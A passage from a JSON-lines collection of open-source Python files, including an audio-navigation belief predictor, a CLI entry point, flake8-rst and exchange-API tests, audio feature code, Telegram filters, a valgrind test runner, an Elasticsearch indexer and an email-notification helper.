the gradient reduction\n will not work correctly.\n \"\"\"\n # NB: Used to hide the hooks from the nn.Module,\n # so they don't show up in the state_dict\n class Guard:\n def __init__(self, model, device):\n if torch.cuda.is_available():\n self.ddp = torch.nn.parallel.DistributedDataParallel(\n model, device_ids=[device], output_device=device\n )\n else:\n self.ddp = torch.nn.parallel.DistributedDataParallel(model)\n\n self._ddp_hooks = Guard(self, self.device)\n\n self.reducer = self._ddp_hooks.ddp.reducer\n self.find_unused_params = find_unused_params\n\n def before_backward(self, loss):\n if self.find_unused_params:\n self.reducer.prepare_for_backward([loss])\n else:\n self.reducer.prepare_for_backward([])\n\n\nclass BeliefPredictor(nn.Module):\n def __init__(self, belief_config, device, input_size, pose_indices,\n hidden_state_size, num_env=1, has_distractor_sound=False):\n super(BeliefPredictor, self).__init__()\n self.config = belief_config\n self.device = device\n self.predict_label = belief_config.use_audio_gcn\n self.predict_location = belief_config.use_location_belief\n self.has_distractor_sound = has_distractor_sound\n\n mp3d_objects_of_interest_filepath = r\"data/metadata/mp3d_objects_of_interest_data.bin\"\n with open(mp3d_objects_of_interest_filepath, 'rb') as bin_file:\n self.ooi_objects_id_name = pickle.load(bin_file)\n self.ooi_regions_id_name = pickle.load(bin_file)\n self.num_objects = len(self.ooi_objects_id_name)\n self.num_regions = len(self.ooi_regions_id_name)\n\n if self.predict_location:\n if belief_config.online_training:\n if self.has_distractor_sound:\n self.predictor = custom_resnet18(num_input_channels=23)\n self.predictor.fc = nn.Linear(4608, 2)\n else:\n self.predictor = models.resnet18(pretrained=True)\n self.predictor.conv1 = nn.Conv2d(2, 64, kernel_size=7, stride=2, padding=3, bias=False)\n output_size = self.num_objects + self.num_regions\n num_ftrs = self.predictor.fc.in_features\n self.predictor.fc = nn.Linear(num_ftrs, output_size)\n else:\n self.predictor = models.resnet18(pretrained=True)\n self.predictor.conv1 = nn.Conv2d(2, 64, kernel_size=7, stride=2, padding=3, bias=False)\n self.predictor.fc = nn.Linear(512, 23)\n\n if self.predict_label:\n self.classifier = models.resnet18(pretrained=True)\n self.classifier.conv1 = nn.Conv2d(2, 64, kernel_size=7, stride=2, padding=3, bias=False)\n output_size = self.num_objects + self.num_regions\n num_ftrs = self.classifier.fc.in_features\n self.classifier.fc = nn.Linear(num_ftrs, output_size)\n self.sigmoid = nn.Sigmoid()\n\n self.last_pointgoal = [None] * num_env\n self.last_label = [None] * num_env\n\n if self.config.online_training:\n self.regressor_criterion = nn.MSELoss().to(device=self.device)\n self.optimizer = None\n\n self.load_pretrained_weights()\n\n def load_pretrained_weights(self):\n\n state_dict = torch.load('data/models/saven/audio/best_test.pth', map_location=\"cpu\")\n cleaned_state_dict = {k[len('module.predictor.'):]: v for k, v in\n state_dict['audio_predictor'].items() if 'module.predictor.' in k}\n\n if self.predict_location:\n logger.info(\"Loading pre-trained audio network for sound location predictor\")\n self.predictor.load_state_dict(cleaned_state_dict)\n num_ftrs = self.predictor.fc.in_features\n self.predictor.fc = nn.Linear(num_ftrs, 2)\n\n if self.predict_label:\n logger.info(\"Loading pre-trained audio network for object and region predictor\")\n self.classifier.load_state_dict(cleaned_state_dict)\n\n def freeze_encoders(self):\n if self.config.online_training:\n # online training is only for location predictor\n if self.config.use_audio_gcn:\n for param in self.classifier.parameters():\n param.requires_grad = False\n else:\n if self.config.use_audio_gcn or self.config.use_location_belief:\n for param in self.parameters():\n param.requires_grad = False\n logging.info(\"Freezing belief predictor weights\")\n\n def set_eval_encoders(self):\n if self.config.use_audio_gcn:\n self.classifier.eval()\n if self.config.use_location_belief:\n self.predictor.eval()\n\n def cnn_forward(self, observations):\n spectrograms = observations[SpectrogramSensor.cls_uuid].permute(0, 3, 1, 2)\n\n if self.has_distractor_sound:\n labels = observations[Category.cls_uuid]\n expanded_labels = labels.reshape(labels.shape + (1, 1)).expand(labels.shape + spectrograms.shape[-2:])\n inputs = torch.cat([spectrograms, expanded_labels], dim=1)\n else:\n inputs = spectrograms\n pointgoals = self.predictor(inputs)\n\n return pointgoals\n\n def cnn_forward_predict_label(self, spectrograms):\n\n x = self.classifier(spectrograms)\n\n x1 = x[:, :self.num_objects]\n x2 = self.sigmoid(x[:, -self.num_regions:])\n x = torch.cat([x1, x2], dim=1)\n\n return x\n\n def update(self, observations, dones):\n \"\"\"\n update the current observations with estimated pointgoal in the agent's current coordinate frame\n if spectrogram in the current obs is zero, transform last estimate to agent's current coordinate frame\n \"\"\"\n batch_size = observations[SpectrogramSensor.cls_uuid].size(0)\n if self.predict_label or self.predict_location:\n spectrograms = observations[SpectrogramSensor.cls_uuid].permute(0, 3, 1, 2)\n\n if self.predict_location:\n # predicted pointgoal: X is rightward, -Y is forward, heading increases X to Y, agent faces -Y\n with torch.no_grad():\n pointgoals = self.cnn_forward(observations).cpu().numpy()\n\n for i in range(batch_size):\n pose = observations['pose'][i].cpu().numpy()\n pointgoal = pointgoals[i]\n if dones is not None and dones[i]:\n self.last_pointgoal[i] = None\n\n if observations[SpectrogramSensor.cls_uuid][i].sum().item() != 0:\n # pointgoal_with_gps_compass: X is forward, Y is rightward,\n # pose: same XY but heading is positive from X to -Y defined based on the initial pose\n pointgoal_base = np.array([-pointgoal[1], pointgoal[0]])\n if self.last_pointgoal[i] is None:\n pointgoal_avg = pointgoal_base\n else:\n if self.config.current_pred_only:\n pointgoal_avg = pointgoal_base\n else:\n w = self.config.weighting_factor\n pointgoal_avg = (1-w) * pointgoal_base + w * odom_to_base(self.last_pointgoal[i], pose)\n self.last_pointgoal[i] = base_to_odom(pointgoal_avg, pose)\n else:\n if self.last_pointgoal[i] is None:\n pointgoal_avg = np.array([10, 10])\n else:\n pointgoal_avg = odom_to_base(self.last_pointgoal[i], pose)\n\n observations[LocationBelief.cls_uuid][i].copy_(torch.from_numpy(pointgoal_avg))\n\n if self.predict_label:\n with torch.no_grad():\n # labels = self.classifier(spectrograms)[:, :21].cpu().numpy()\n labels = self.cnn_forward_predict_label(spectrograms).cpu().numpy()\n\n for i in range(batch_size):\n label = labels[i]\n if dones is not None and dones[i]:\n self.last_label[i] = None\n\n if observations[SpectrogramSensor.cls_uuid][i].sum().item() != 0:\n if self.last_label[i] is None:\n label_avg = label\n else:\n if self.config.current_pred_only:\n label_avg = label\n else:\n w = self.config.weighting_factor\n label_avg = (1-w) * label + w * self.last_label[i]\n self.last_label[i] = label_avg\n else:\n if self.last_label[i] is None:\n logging.debug(\"Empty RIR after done\")\n # label_avg = np.ones(21) / 21\n label_avg = np.ones(self.num_objects + self.num_regions) / self.num_objects + self.num_regions\n else:\n label_avg = self.last_label[i]\n observations[CategoryBelief.cls_uuid][i].copy_(torch.from_numpy(label_avg))\n\n\nclass BeliefPredictorDDP(BeliefPredictor, DecentralizedDistributedMixinBelief):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n\ndef base_to_odom(pointgoal_base, pose):\n angle = -pose[2]\n d = np.linalg.norm(pointgoal_base)\n theta = np.arctan2(pointgoal_base[1], pointgoal_base[0])\n\n pointgoal_odom = np.array([pose[0] + d*np.cos(theta+angle), pose[1] + d * np.sin(theta+angle)])\n return pointgoal_odom\n\n\ndef odom_to_base(pointgoal_odom, pose):\n angle = -pose[2]\n delta = pointgoal_odom - pose[:2]\n delta_theta = np.arctan2(delta[1], delta[0]) - angle\n d = np.linalg.norm(delta)\n\n pointgoal_base = np.array([d * np.cos(delta_theta), d * np.sin(delta_theta)])\n return pointgoal_base\n", "source": "gtatiya/sound-spaces", "license": "CC-BY-4.0"} {"text": "\"\"\"Main group of commands for cedar CLI\n\"\"\"\nimport logging\nfrom pkg_resources import iter_entry_points\n\nimport click\nimport click_plugins\n\nimport cedar\n\nfrom . import options\n\n\n_context = dict(\n token_normalize_func=lambda x: x.lower(),\n help_option_names=['--help', '-h']\n)\n\n\n@click_plugins.with_plugins(ep for ep in\n iter_entry_points('cedar.cli'))\n@click.group(help='cedar command line interface', context_settings=_context)\n@options.opt_config_file\n@click.version_option(cedar.__version__)\n@click.option('--verbose', '-v', count=True, help='Be verbose')\n@click.option('--quiet', '-q', count=True, help='Be quiet')\n@click.pass_context\ndef main(ctx, config_file, verbose, quiet):\n \"\"\" cedar\n\n Creator for Analysis Ready Data (ARD)\n\n Home: https://github.com/ceholden/cedar\n \"\"\"\n # Setup logging\n from stems.logging_ import setup_logger\n verbosity = verbose - quiet\n log_level = max(logging.DEBUG, logging.WARNING - verbosity * 10)\n logger = setup_logger('cedar', level=log_level)\n\n # Setup config file (if provided)\n if config_file:\n from cedar.config import Config\n config = Config.from_yaml(config_file)\n else:\n config = None\n\n ctx.obj = {}\n ctx.obj['logger'] = logger\n ctx.obj['config_file'] = config\n", "source": "ceholden/cedar-datacube", "license": "BSD-3-Clause"} {"text": "import doctest\nimport optparse\nimport pytest\n\ntry:\n import pathlib\nexcept ImportError:\n import pathlib2 as pathlib\n\nfrom flake8_rst.rst import RST_RE, apply_default_groupnames, apply_directive_specific_options, merge_by_group\nfrom flake8_rst.sourceblock import SourceBlock, _extract_roles\nfrom hypothesis import assume, given, note, example\nfrom hypothesis import strategies as st\n\nROOT_DIR = pathlib.Path(__file__).parent\nDATA_DIR = ROOT_DIR / 'data'\n\ncode_strategy = st.characters(blacklist_categories=['Cc'])\n\n\n@given(code_strategy, code_strategy)\ndef test_from_sourcecode(bootstrap, src):\n assume(bootstrap and src)\n\n code_block = SourceBlock.from_source(bootstrap, src)\n\n expected = '\\n'.join([bootstrap, src])\n result = code_block.complete_block\n\n assert result == expected\n\n\n@given(code_strategy)\ndef test_get_correct_line(src):\n code_block = SourceBlock.from_source('', src)\n\n for line_number, line in enumerate(src.splitlines(True), start=1):\n code_line = code_block.get_code_line(line_number)\n assert code_line['lineno'] == line_number\n assert code_line['source'] == line\n\n\ndef test_find_block():\n example = DATA_DIR / 'example_1.rst'\n src = example.open().read()\n\n code_block = SourceBlock.from_source('', src)\n\n for match, block in zip(RST_RE.finditer(src), code_block.find_blocks(RST_RE)):\n origin_code = match.group('code')\n origin_code = ''.join(map(lambda s: s.lstrip() + '\\n', origin_code.splitlines()))\n assert block.source_block == origin_code\n\n\ndef test_clean_doctest():\n example = DATA_DIR / 'example_1.rst'\n src = example.open().read()\n\n code_block = SourceBlock.from_source('', src)\n\n for match, block in zip(RST_RE.finditer(src), code_block.find_blocks(RST_RE)):\n origin_code = match.group('code')\n origin_code = ''.join((line.source for line in doctest.DocTestParser().get_examples(origin_code)))\n\n assert block.clean_doctest()\n assert block.source_block == origin_code\n assert '>>>' not in origin_code\n\n\n@pytest.mark.parametrize('src, expected', [\n (DATA_DIR / 'example_11.rst', \"name = 'Brian'\\nother = brian\\n%timeit a = (1, 2,name) # noqa: F821\\n\"\n \"b = (3, 4, other)\\nfor i in range(3):\\n print(a[i] is b[i])\\n\\n\"),\n (\".. ipython:: python\\n In [4]: grouped = df.groupby('A')\\n\\n In [5]: for name, group in grouped:\\n\"\n \" ...: print(name)\\n ...: print(group)\\n ...:\\n\",\n \"grouped = df.groupby('A')\\nfor name, group in grouped:\\n print(name)\\n print(group)\\n\\n\")\n])\ndef test_clean_ipython(src, expected):\n if isinstance(src, pathlib.Path):\n src = src.open().read()\n\n code_block = SourceBlock.from_source('', src)\n\n block = next(code_block.find_blocks(RST_RE))\n\n assert block.clean_ipython()\n assert expected == block.source_block\n\n\n@pytest.mark.parametrize('src, expected', [\n ('%timeit a = (1, 2,name)\\n', 'a = (1, 2,name)\\n'),\n ('%time a = (1, 2,name)\\nb = (3, 4, other)\\n', 'a = (1, 2,name)\\nb = (3, 4, other)\\n'),\n (\"%time df = pd.read_csv('big.csv')\\n\", \"df = pd.read_csv('big.csv')\\n\"),\n ('%time df = pd.read_csv(\"big.csv\")\\n', 'df = pd.read_csv(\"big.csv\")\\n'),\n ('%time df = pd.read_csv(\"big.csv\")\\n%time df = pd.read_csv(\\'big.csv\\')\\n',\n 'df = pd.read_csv(\"big.csv\")\\ndf = pd.read_csv(\\'big.csv\\')\\n'),\n])\ndef test_clean_console_syntax(src, expected):\n block = SourceBlock.from_source('', src)\n\n block.clean_console_syntax()\n block.clean_ignored_lines()\n\n assert block.source_block == expected\n\n\n@pytest.mark.parametrize('src', [\n '%prun -l 4 f(x)\\n',\n '%%timeit x = range(10000)\\nmax(x)\\n',\n])\ndef test_ignore_unrecognized_console_syntax(src):\n block = SourceBlock.from_source('', src)\n\n block.clean_console_syntax()\n block.clean_ignored_lines()\n\n assert not block.source_block\n\n\n@pytest.mark.parametrize('src, expected', [\n ('@okexcept\\na = (1, 2,name)\\n', 'a = (1, 2,name)\\n'),\n ('@savefig \"picture.png\"\\na = (1, 2,name)\\nb = (3, 4, other)\\n', 'a = (1, 2,name)\\nb = (3, 4, other)\\n'),\n])\ndef test_clean_ignored_lines(src, expected):\n block = SourceBlock.from_source('', src)\n\n block.clean_ignored_lines()\n\n assert block.source_block == expected\n\n\n@given(code_strategy, code_strategy, code_strategy)\ndef test_merge_source_blocks(bootstrap, src_1, src_2):\n block1 = SourceBlock.from_source(bootstrap, src_1)\n block2 = SourceBlock.from_source(bootstrap, src_2, len(src_1.splitlines()) + 1)\n expected = SourceBlock.from_source(bootstrap, src_1 + src_2)\n\n merged = SourceBlock.merge([block1, block2])\n reversed_merged = SourceBlock.merge([block1, block2])\n\n assert merged.complete_block == expected.complete_block\n assert reversed_merged.complete_block == expected.complete_block\n\n\n@pytest.mark.parametrize(\"filename, directive, roles, default_groupnames, expected\", [\n ('test.rst', 'code-block', {}, \"*.rst->*: default\", {'group': 'default'}),\n ('test.py', 'code-block', {}, \"*.rst->*: default\", {'group': 'None'}),\n ('test.rst', 'code-block', {}, \"*->code-block: code-block, *->ipython: ipython\", {'group': 'code-block'}),\n ('test.rst', 'ipython', {}, \"*->code-block: code-block, *->ipython: ipython\", {'group': 'ipython'}),\n ('test.py', 'code-block', {}, \"last.py->code-block: code-block, *.rst->ipython: ipython\", {'group': 'None'}),\n])\ndef test_default_groupname(filename, directive, roles, default_groupnames, expected):\n func = apply_default_groupnames(lambda *a, **k: [SourceBlock([], [], directive=directive, roles=roles)])\n block = next(func(filename, options=optparse.Values(dict(default_groupnames=default_groupnames))))\n\n assert block.roles == expected\n\n\n@pytest.mark.parametrize(\"directive, roles, expected\", [\n ('code-block', {}, {}),\n ('ipython', {}, {'add-ignore': 'E302, E305'}),\n ('ipython', {'add-ignore': 'F'}, {'add-ignore': 'F, E302, E305'}),\n])\ndef test_directive_specific_options(directive, roles, expected):\n func = apply_directive_specific_options(lambda *a, **k: [SourceBlock([], [], directive=directive, roles=roles)])\n block = next(func())\n\n assert block.roles == expected\n\n\n@given(role=code_strategy, value=code_strategy, comment=code_strategy)\n@example(role='group', value='Group#4', comment='Within 4th group.')\n@pytest.mark.parametrize(\"string_format\", [u' :flake8-{role}:{value}\\n',\n u' :flake8-{role}:{value} #{comment}\\n'])\ndef test_roles(string_format, role, value, comment):\n assume(role.strip() and value.strip() and comment.strip())\n role_string = string_format.format(role=role, value=value, comment=comment)\n note(role_string)\n roles = _extract_roles(role_string)\n\n assert value == roles[role]\n\n\n@pytest.mark.parametrize(\"group_names, expected\", [\n (['None', 'None'], ['None', 'None']),\n (['', ''], ['']),\n (['A', 'B', 'A'], ['A', 'B']),\n (['Ignore'], []),\n])\ndef test_merge_by_group(group_names, expected):\n source_blocks = [SourceBlock([], [(0, '', '')], roles={'group': group}) for group in group_names]\n blocks = merge_by_group(lambda *a, **k: source_blocks)()\n result = sorted([block.roles['group'] for block in blocks])\n\n assert result == expected\n\n\n@given(code_strategy, code_strategy, st.lists(code_strategy, min_size=1))\ndef test_inject_bootstrap_blocks(bootstrap, src, injected_bootstrap):\n note(injected_bootstrap)\n block = SourceBlock.from_source(bootstrap, src, roles={'bootstrap': '; '.join(injected_bootstrap)})\n expected = SourceBlock.from_source('\\n'.join(injected_bootstrap), src)\n\n assert block.complete_block == expected.complete_block\n", "source": "kataev/flake8-rst", "license": "MIT"} {"text": "\"\"\"\nA module to process audio files with signal-related operations\n\"\"\"\n\nimport numpy as np\nimport librosa\nimport crepe\nfrom scipy.signal import periodogram\n\n\ndef split(audio, top_db=25, min_duration=None):\n audio_split = librosa.effects.split(audio, top_db=top_db)\n if min_duration:\n min_len = min_duration\n n_intv_idx = list()\n prev_index = None\n index_f, index_l = None, None\n for index_f, index_l in audio_split:\n if prev_index is None:\n prev_index = index_f\n if index_l - prev_index > min_len:\n n_intv_idx += [[prev_index, index_l]]\n prev_index = None\n\n if index_l is not None and n_intv_idx[-1][1] != index_l:\n n_intv_idx += [[prev_index, index_l]]\n return n_intv_idx\n return audio_split\n\n\ndef audio_features(audio, sr):\n mfcc = librosa.feature.mfcc(audio, sr=sr, n_mels=12)\n spec_ent = spectral_entropy(audio, sf=100)\n columns = (\n ['spectral entropy']\n + ['mel {} mean'.format(i) for i in range(12)]\n + ['mel {} q1'.format(i) for i in range(12)]\n + ['mel {} q2'.format(i) for i in range(12)]\n + ['mel {} q3'.format(i) for i in range(12)]\n + ['mel {} std'.format(i) for i in range(12)]\n )\n mfcc_mean = np.mean(mfcc, axis=1)\n mfcc_std = np.std(mfcc, axis=1)\n mfcc_q1 = np.percentile(mfcc, 0.25, axis=1)\n mfcc_q2 = np.median(mfcc, axis=1)\n mfcc_q3 = np.percentile(mfcc, 0.75, axis=1)\n au_features = (\n [spec_ent]\n + list(mfcc_mean)\n + list(mfcc_q1)\n + list(mfcc_q2)\n + list(mfcc_q3)\n + list(mfcc_std)\n )\n return au_features, columns\n\n\ndef estimate_f0(audio, sr):\n def f0_dict(time, frequency, confidence, activation):\n return dict(\n time=time,\n freq=frequency,\n conf=confidence,\n )\n\n f0_data = f0_dict(*crepe.predict(audio, sr, viterbi=True))\n return f0_data\n\n\ndef loadwav(*args, sr=44100, **kwargs):\n return librosa.core.load(*args, sr=sr, **kwargs)\n\n\ndef spectral_entropy(x, sf, nperseg=None, normalize=False):\n \"\"\"\n Adapted from: https://raphaelvallat.com/entropy/build/html/_modules/entropy/entropy.html#spectral_entropy\n Spectral Entropy.\n\n Parameters\n ----------\n x : list or np.array\n One-dimensional time series of shape (n_times)\n sf : float\n Sampling frequency, in Hz.\n method : str\n Spectral estimation method:\n\n * ``'fft'`` : Fourier Transform (:py:func:`scipy.signal.periodogram`)\n * ``'welch'`` : Welch periodogram (:py:func:`scipy.signal.welch`)\n nperseg : int or None\n Length of each FFT segment for Welch method.\n If None (default), uses scipy default of 256 samples.\n normalize : bool\n If True, divide by log2(psd.size) to normalize the spectral entropy\n between 0 and 1. Otherwise, return the spectral entropy in bit.\n\n Returns\n -------\n se : float\n Spectral Entropy\n\n Notes\n -----\n Spectral Entropy is defined to be the Shannon entropy of the power\n spectral density (PSD) of the data:\n\n .. math:: H(x, sf) = -\\\\sum_{f=0}^{f_s/2} P(f) log_2[P(f)]\n\n Where :math:`P` is the normalised PSD, and :math:`f_s` is the sampling\n frequency.\n\n References\n ----------\n Inouye, T. et al. (1991). Quantification of EEG irregularity by\n use of the entropy of the power spectrum. Electroencephalography\n and clinical neurophysiology, 79(3), 204-210.\n\n https://en.wikipedia.org/wiki/Spectral_density\n\n https://en.wikipedia.org/wiki/Welch%27s_method\n\n Examples\n --------\n Spectral entropy of a pure sine using FFT\n\n >>> from entropy import spectral_entropy\n >>> import numpy as np\n >>> sf, f, dur = 100, 1, 4\n >>> N = sf * dur # Total number of discrete samples\n >>> t = np.arange(N) / sf # Time vector\n >>> x = np.sin(2 * np.pi * f * t)\n >>> np.round(spectral_entropy(x, sf, method='fft'), 2)\n 0.0\n \"\"\"\n x = np.array(x)\n # Compute and normalize power spectrum\n _, psd = periodogram(x, sf)\n psd_norm = np.divide(psd, psd.sum())\n se = -np.multiply(psd_norm, np.log2(psd_norm)).sum()\n if normalize:\n se /= np.log2(psd_norm.size)\n return se\n", "source": "ye-yu/aaapi", "license": "MIT"} {"text": "from pyrogram import filters\nfrom pyrogram.types import Message, Update\nfrom typing import Union, Pattern\nimport re\n\nviewsfilter = filters.create(lambda _, __, Message: Message.views)\n\nnon_anonymous_poll = filters.create(\n lambda *_: _[2].poll is not None and not _[2].poll.is_anonymous\n)\n\n\ndef biofilter(pattern: Union[str, Pattern], flags: int = 0):\n async def func(flt, client, message):\n if not message.from_user:\n return False\n _ = await client.get_chat(message.from_user.id)\n value = _.bio\n if value:\n Update.matches = list(flt.p.finditer(value)) or None\n return bool(Update.matches)\n\n return filters.create(\n func,\n \"biofilter\",\n p=pattern if isinstance(pattern, Pattern) else re.compile(pattern, flags),\n )\n", "source": "sh-himanshu/alisurobot", "license": "MIT"} {"text": "#!/usr/bin/env python\n\nimport sys, string, glob, argparse, os\n#import tempfile\nfrom subprocess import *\nfrom os.path import *\n\nlanguage_tests = glob.glob(\"../tests/*.txt\")\n\npreprocessor_tests = [\n\t\t\"../tests/preprocessor/preprocessor.txt\",\n\t\t\"../tests/preprocessor/include.c\"\n\t\t]\n\n\n\ndef main():\n\tparser = argparse.ArgumentParser(description=\"Run C_Interpreter tests\")\n\tparser.add_argument(\"-E\", \"--run-preproc\", action=\"store_true\", help=\"Run preprocessor tests too\")\n\targs = parser.parse_args()\n\t#print(args)\n\n\tret = 0\n\tfor f in language_tests:\n\t\tproc = Popen([\"valgrind\", \"--leak-check=full\", \"-v\", \"./cinterpreter\", f], stdout=PIPE, stderr=PIPE, universal_newlines=True)\n\t\tout, err = proc.communicate()\n\n\t\t# sometimes valgrind has too many false positives, so use this line instead of\n\t\t# the following one to only look for memory that isn't freed\n\t\t# ie a potential leak depending on whether I still had a pointer to it at the end\n\t\t# rc = int(err.find('in use at exit: 0 bytes in 0 blocks') == -1)\n\n\t\trc = int(err.find('ERROR SUMMARY: 0') == -1)\n\t\t\n\t\t# I don't really care if there's a \"leak\" in a program that had an error\n\t\t# since I exit immediately without freeing everything. It would be nice to clean up\n\t\t# everything under all conditions but as long as everything is freed properly when\n\t\t# a program runs to completion\n\t\tif rc and (not os.path.exists(\"{}.expected.err\".format(f)) or open(\"{}.expected.err\".format(f)).read().find('Error') == -1):\n\t\t\tprint('{: <40} ..... failed'.format(f.rpartition('/')[-1]))\n\t\t\tprint(\"stdout:\")\n\t\t\tprint(out)\n\t\t\tret = rc\n\n\n\n\tif args.run_preproc:\n\t\tfor f in preprocessor_tests:\n\t\t\tproc = Popen([\"valgrind\", \"--leak-check=full\", \"-v\", \"./cinterpreter\", \"-E\", f], stdout=PIPE, stderr=PIPE, universal_newlines=True)\n\t\t\tout, err = proc.communicate()\n\n\t\t\trc = int(err.find('ERROR SUMMARY: 0') == -1)\n\t\t\t\n\t\t\tif rc:\n\t\t\t\tprint('{: <40} ..... failed'.format(f.rpartition('/')[-1]))\n\t\t\t\tprint(\"stdout:\")\n\t\t\t\tprint(out)\n\t\t\t\tret = rc\n\n\texit(ret)\n\n\n\nif __name__ == \"__main__\":\n\tmain()\n", "source": "rswinkle/C_Interpreter", "license": "MIT"} {"text": "import click\nimport elasticsearch\nimport logging\n\nfrom csv import DictReader\nfrom elasticsearch.helpers import bulk\nfrom time import time\nfrom toolz import curry, iterate\n\nHAUNTED_PLACE_TYPE = \"haunted_place\"\nHAUNTED_PLACES_BODY = {\n \"mappings\": {\n HAUNTED_PLACE_TYPE: {\n \"properties\": {\n \"city\": {\n \"type\": \"keyword\"\n },\n \"country\": {\n \"type\": \"keyword\"\n },\n \"description\": {\n \"type\": \"text\"\n },\n \"location\": {\n \"type\": \"text\"\n },\n \"state\": {\n \"type\": \"keyword\"\n },\n \"state_abbrev\": {\n \"type\": \"keyword\"\n },\n \"longitude\": {\n \"type\": \"float\"\n },\n \"latitude\": {\n \"type\": \"float\"\n },\n \"city_longitude\": {\n \"type\": \"float\"\n },\n \"city_latitude\": {\n \"type\": \"float\"\n },\n \"location_geo\": {\n \"type\": \"geo_point\"\n },\n \"city_location_geo\": {\n \"type\": \"geo_point\"\n }\n }\n }\n }\n}\n\n\ndef make_haunted_place_action(index, doc_id, doc):\n return {\n \"_id\": doc_id,\n \"_op_type\": \"index\",\n \"_index\": index,\n \"_type\": HAUNTED_PLACE_TYPE,\n \"_source\": {\n **doc,\n \"location_geo\": [\n float(doc[\"longitude\"]),\n float(doc[\"latitude\"])\n ] if doc[\"longitude\"] else None,\n \"city_location_geo\": [\n float(doc[\"city_longitude\"]),\n float(doc[\"city_latitude\"])\n ] if doc[\"city_longitude\"] else None\n }\n }\n\n\n@click.command()\n@click.argument('input_file', type=click.File('r'))\n@click.option('--index', '-i', type=str, default=\"haunted_places\")\ndef main(input_file, index):\n\n log_fmt = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n logging.basicConfig(level=logging.INFO, format=log_fmt)\n logger = logging.getLogger(__name__)\n\n\n client = elasticsearch.Elasticsearch()\n indices_client = client.indices\n\n if indices_client.exists(index):\n logger.info(\"{} already exists. Deleting.\".format(index))\n indices_client.delete(index)\n logger.info(\"{} deleted.\".format(index))\n\n logger.info(\"Creating {}.\".format(index))\n indices_client.create(\n index=index,\n body=HAUNTED_PLACES_BODY\n )\n logger.info(\"{} created.\".format(index))\n\n\n reader = DictReader(input_file)\n\n haunted_place_actions = curry(make_haunted_place_action)(index)\n\n # Zip the reader with an infinite incrementor for the IDs.\n reader_actions = map(\n haunted_place_actions,\n iterate(lambda x: x+1, 0),\n reader\n )\n\n start = time()\n logger.info(\"Indexing documents from {} into {}.\".format(\n input_file.name,\n index\n ))\n num_ok,num_fail = bulk(client, reader_actions)\n logger.info(\"Done. Documents indexed in {:.2f}s.\".format(time() - start))\n\n\nif __name__ == \"__main__\":\n main()", "source": "timothyrenner/shadowlands-haunted-places", "license": "MIT"} {"text": "from unittest import TestCase\nfrom liquidcli.client import DEFAULT_REQUEST_HEADERS\nfrom liquidcli.data import Execution, Page\n\nfrom util import assertHTTPRequest\n\n\nclass TestGetExecutions(TestCase):\n def test(self):\n testCases = [\n {\n 'desc': 'success',\n 'inputProductId': 1, 'inputLimit': 1, 'inputPage': 1,\n 'resStatus': 200,\n 'resBody': '''\n {\n \"current_page\": 1,\n \"total_pages\": 999,\n \"models\": [\n {\n \"id\": 100,\n \"quantity\": 0.01,\n \"price\": 100.100,\n \"taker_side\": \"sell\",\n \"created_at\": 1\n }\n ]\n }\n ''',\n 'expected': Page(\n current_page=1, total_pages=999,\n models=[\n Execution(\n id=100,\n quantity=0.01,\n price=100.100,\n taker_side='sell',\n created_at=1,\n ),\n ],\n ),\n },\n ]\n for tc in testCases:\n with self.subTest(desc=tc['desc']):\n assertHTTPRequest(\n self,\n 'get', '/executions',\n {\n 'product_id': tc['inputProductId'],\n 'limit': tc['inputLimit'],\n 'page': tc['inputPage'],\n },\n None,\n DEFAULT_REQUEST_HEADERS,\n tc['resStatus'],\n tc['resBody'],\n lambda cli: cli.getExecutions(\n tc['inputProductId'],\n tc['inputLimit'],\n tc['inputPage'],\n ),\n tc.get('expected', None),\n tc.get('expectedErr', None),\n )\n\n\nclass TestGetExecutionsByTimestamp(TestCase):\n def test(self):\n testCases = [\n {\n 'desc': 'success',\n 'inputCPair': 'BTCJPY', 'inputLimit': 2, 'inputTimestamp': 3,\n 'resStatus': 200,\n 'resBody': '''\n [\n {\n \"id\": 100,\n \"quantity\": 0.01,\n \"price\": 100.100,\n \"taker_side\": \"sell\",\n \"created_at\": 1\n }\n ]\n ''',\n 'expected': [\n Execution(\n id=100,\n quantity=0.01,\n price=100.100,\n taker_side='sell',\n created_at=1,\n ),\n ],\n },\n ]\n for tc in testCases:\n with self.subTest(desc=tc['desc']):\n assertHTTPRequest(\n self,\n 'get', '/executions',\n {\n 'currency_pair_code': tc['inputCPair'],\n 'timestamp': tc['inputTimestamp'],\n 'limit': tc['inputLimit'],\n },\n None,\n DEFAULT_REQUEST_HEADERS,\n tc['resStatus'],\n tc['resBody'],\n lambda cli: cli.getExecutionsByTimestamp(\n tc['inputCPair'],\n tc['inputTimestamp'],\n tc['inputLimit'],\n ),\n tc.get('expected', None),\n tc.get('expectedErr', None),\n )\n", "source": "suzuito/liquid-python", "license": "MIT"} {"text": "import os\nimport smtplib\nfrom email.message import EmailMessage as em\n\n\n\ndef success_mail(to_mail,info,from_mail=os.environ.get('python_sender'),from_pass=os.environ.get('python_sender_pass')):\n\t\n\tmsg = em()\n\n\tmsg['From'] = from_mail\n\tmsg['To'] = to_mail\n\tmsg['Subject'] = 'Python automatic script notification: Success!'\n\tmsg.set_content(f'The script finished succesfully, here are some informations:\\n\\n + Script name: {os.path.basename(__file__)}\\n + {info}')\n\t\n\twith smtplib.SMTP_SSL('smtp.gmail.com',465) as smtp:\n\t\tsmtp.login(from_mail, from_pass)\n\t\tsmtp.send_message(msg)\n\tprint('Notification mail send')\n\ndef error_mail(to_mail,info,from_mail=os.environ.get('python_sender'),from_pass=os.environ.get('python_sender_pass')):\n\t\n\tmsg = em()\n\n\tmsg['From'] = from_mail\n\tmsg['To'] = to_mail\n\tmsg['Subject'] = 'Python automatics script notification: Error!'\n\tmsg.set_content(f'An error occured, here are some informations:\\n\\n + Script name: {os.path.basename(__file__)}\\n + {info}')\n\t\n\twith smtplib.SMTP_SSL('smtp.gmail.com',465) as smtp:\n\t\tsmtp.login(from_mail, from_pass)\n\t\tsmtp.send_message(msg)\n\n\ndef half_way(to_mail,text,from_mail=os.environ.get('python_sender'),from_pass=os.environ.get('python_sender_pass')):\n\tmsg = em()\n\n\tmsg['From'] = from_mail\n\tmsg['To'] = to_mail\n\tmsg['Subject'] = 'Python automatic script notification: In progress'\n\tmsg.set_content(f'The script {os.path.basename(__file__)} is still running.')\n\t\n\twith smtplib.SMTP_SSL('smtp.gmail.com',465) as smtp:\n\t\tsmtp.login(from_mail, from_pass)\n\t\tsmtp.send_message(msg)\n\n", "source": 